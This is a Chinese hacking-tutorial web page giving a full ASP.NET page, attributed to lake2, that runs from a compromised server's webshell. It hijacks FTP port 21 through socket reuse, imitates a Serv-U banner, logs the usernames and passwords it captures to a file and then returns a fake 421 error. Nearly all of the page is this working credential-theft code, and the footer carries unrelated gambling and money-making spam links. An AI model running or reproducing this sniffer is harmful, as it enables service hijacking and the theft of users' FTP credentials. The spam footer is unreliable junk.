笑話大全ico
您當前的位置 :廈門門戶網>黑客安全>腳本攻防> 正文
ASP.Net劫持FTP端口的代碼
2015-11-22 07:47來源:廈門門戶網
【摘要】
如果你有一個ASP.Net的webshell,那么恭喜你,至少權限比ASP的webshell大些。因為ASP.Net支持Socket,所以可以利用端口復用實現端口劫持。 下面就是劫持21端口的ASP.Net代碼,因為FTP協議傳文件會新開
如果你有一個ASP.Net的webshell,那么恭喜你,至少權限比ASP的webshell大些。因為ASP.Net支持Socket,所以可以利用端口復用實現端口劫持。 下面就是劫持21端口的ASP.Net代碼,因為FTP協議傳文件會新開端 ...
 
 
     如果你有一個ASP.Net的webshell,那么恭喜你,至少權限比ASP的webshell大些。因為ASP.Net支持Socket,所以可以利用端口復用實現端口劫持。
 
    下面就是劫持21端口的ASP.Net代碼,因為FTP協議傳文件會新開端口,就沒有用中間人方式而是拿到密碼之后直接返回421錯誤。
 
    當然,Windows2003及之后的系統都不再支持端口復用了。
 
以下是引用片段:
<%@ Page Language="VB" Debug="true" %> 
<%@ import Namespace="System.Threading" %> 
<%@ import Namespace="System.Text" %> 
<%@ import Namespace="System.Net" %> 
<%@ import Namespace="System.Net.Sockets" %> 
<%@ import Namespace="System.IO" %> 
<script runat="server"> 
sub form_load(Src As Object, E As EventArgs) 
        myip.Text=request.ServerVariables("LOCAL_ADDR") 
end sub 
    Sub BTN_Start_Click(sender As Object, e As EventArgs) 
        Dim error_x as Exception 
         Dim ipAddress As IPAddress = ipAddress.Parse(myIP.Text) 
         Dim localEndPoint As New IPEndPoint(ipAddress, myport.Text) 
         Dim listener As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) 
         listener.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1) 
          try 
         listener.Bind(localEndPoint) 
         listener.Listen(100) 
            While Not file.exists(server.mappath("snifferexit.dat")) 
                If CheckBox1.Checked Then 
                     Dim mywrite As New StreamWriter(server.mappath("snifferexit.dat"), True, Encoding.Default) 
  
 
 
                   mywrite.Close() 
                End If 
                Dim mySocket As Socket = listener.Accept() 
                ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf ThreadProc), mySocket) 
            End While 
             listener.Close() 
        Catch error_x 
            listener.Close() 
             response.write(error_x) 
        End Try 
    End Sub 
 
         Private Shared Sub ThreadProc(ByVal mySocket As Object) 
             Dim msg As Byte() 
             Dim bytes(1024) As Byte 
             Dim i As Integer 
             Dim num As Integer 
             Dim xdata As String 
             Try 
                mySocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 5000) 
                 msg = Encoding.ASCII.GetBytes("220 Serv-U FTP Server v6.0 for WinSock ready..." & vbCrLf) 
                 mySocket.Send(msg, msg.Length, 0) 
 
                 mySocket.Receive(bytes, 0, 1024, 0) 
                 xdata = (Encoding.ASCII.GetString(bytes)) 
 
 
 
If InStr(1, xdata, "user ", 1) > 0 Then 
                     Dim mywrite As New StreamWriter("e:/myweb/myown/a.txt", True, Encoding.Default) 
                     mywrite.WriteLine(Mid(xdata, 1, InStr(xdata, vbCrLf))) 
                     mywrite.Close() 
 
                     msg = Encoding.ASCII.GetBytes("331 User name okay, need password." & vbCrLf) 
                     mySocket.Send(msg, msg.Length, 0) 
                 Else 
                     msg = Encoding.ASCII.GetBytes("530 Not logged In.." & vbCrLf) 
                     mySocket.Send(msg, msg.Length, 0) 
                 End If 
                 mySocket.Receive(bytes, 0, 1024, 0) 
                 xdata = (Encoding.ASCII.GetString(bytes)) 
                 If InStr(1, xdata, "pass ", 1) > 0 Then 
                     Dim mywrite As New StreamWriter("e:/myweb/myown/a.txt", True, Encoding.Default) 
                     mywrite.WriteLine(Mid(xdata, 1, InStr(xdata, vbCrLf))) 
                     mywrite.Close() 
                     msg = Encoding.
ASCII.GetBytes("421 Too many users - please try again later." & vbCrLf) 
                     mySocket.Send(msg, msg.Length, 0) 
                 Else 
                     msg = Encoding.ASCII.GetBytes("530 Not logged in.." & vbCrLf) 
                     mySocket.Send(msg, msg.Length, 0) 
                 End If 
 
             Catch eee As Exception 
                 msg = Encoding.ASCII.GetBytes("421 Maximum session time exceeded - closing." & vbCrLf) 
                 mySocket.Send(msg, msg.Length, 0) 
                 mySocket.Shutdown(SocketShutdown.Both) 
                 mySocket.Close() 
                 Exit Sub 
             End Try 
             mySocket.Shutdown(SocketShutdown.Both) 
             mySocket.Close() 
         End Sub 
 
</script> 
<html> 
<head> 
</head> 
<body> 
    <form runat="server"> 
        <p> 
            <asp:Label id="Label1" runat="server">Simple FTP Sniffer by lake2</asp:Label> 
        </p> 
        <p> 
            <asp:Label id="Label2" runat="server" width="60px">IP:</asp:Label> 
<asp:TextBox id="MyIP" runat="server">220.166.79.218</asp:TextBox> 
             <asp:Label id="Label3" runat="server">Port</asp:Label> <asp:TextBox id="MyPort" runat="server" Width="40px">21</asp:TextBox> 
                
            <br /> 
            <asp:CheckBox id="CheckBox1" runat="server" Text="Only sniff one time"></asp:CheckBox> 
        </p> 
        <p> 
            <asp:Label id="Label4" runat="server">Note: If exit , create the file "snifferexit.dat" 
            in current</asp:Label> 
        </p> 
        <p> 
            <asp:Button id="BTN_Start" onclick="BTN_Start_Click" runat="server" Width="77px" Text="Start"></asp:Button> 
        </p> 
        <!-- Insert content here --> 
    </form> 
</body> 
</html>
標簽(Tag):
官方郵箱:[email protected] 官方微信:xmyy_com 官方微博:
 
  • 掃描二維碼關注官方微信

山东十一选五走势图360 亿赢彩票游戏 老滚5刺客盗贼哪个赚钱 办个少儿艺术中心赚钱吗 众博彩票安卓 卖生石花一脱苗赚钱吗 jdb财神捕鱼网站 淘宝有什么类目容易赚钱 梦幻手游赚钱辅助工具 6169彩票群 黑色沙漠 开工厂赚钱 赚钱赚钱啦不知道怎么去花 梦幻打图和拉镖哪个赚钱 单机捕鱼达人手机版 再生颗粒赚钱吗 网上的打字兼职能赚钱吗 博猫娱乐网址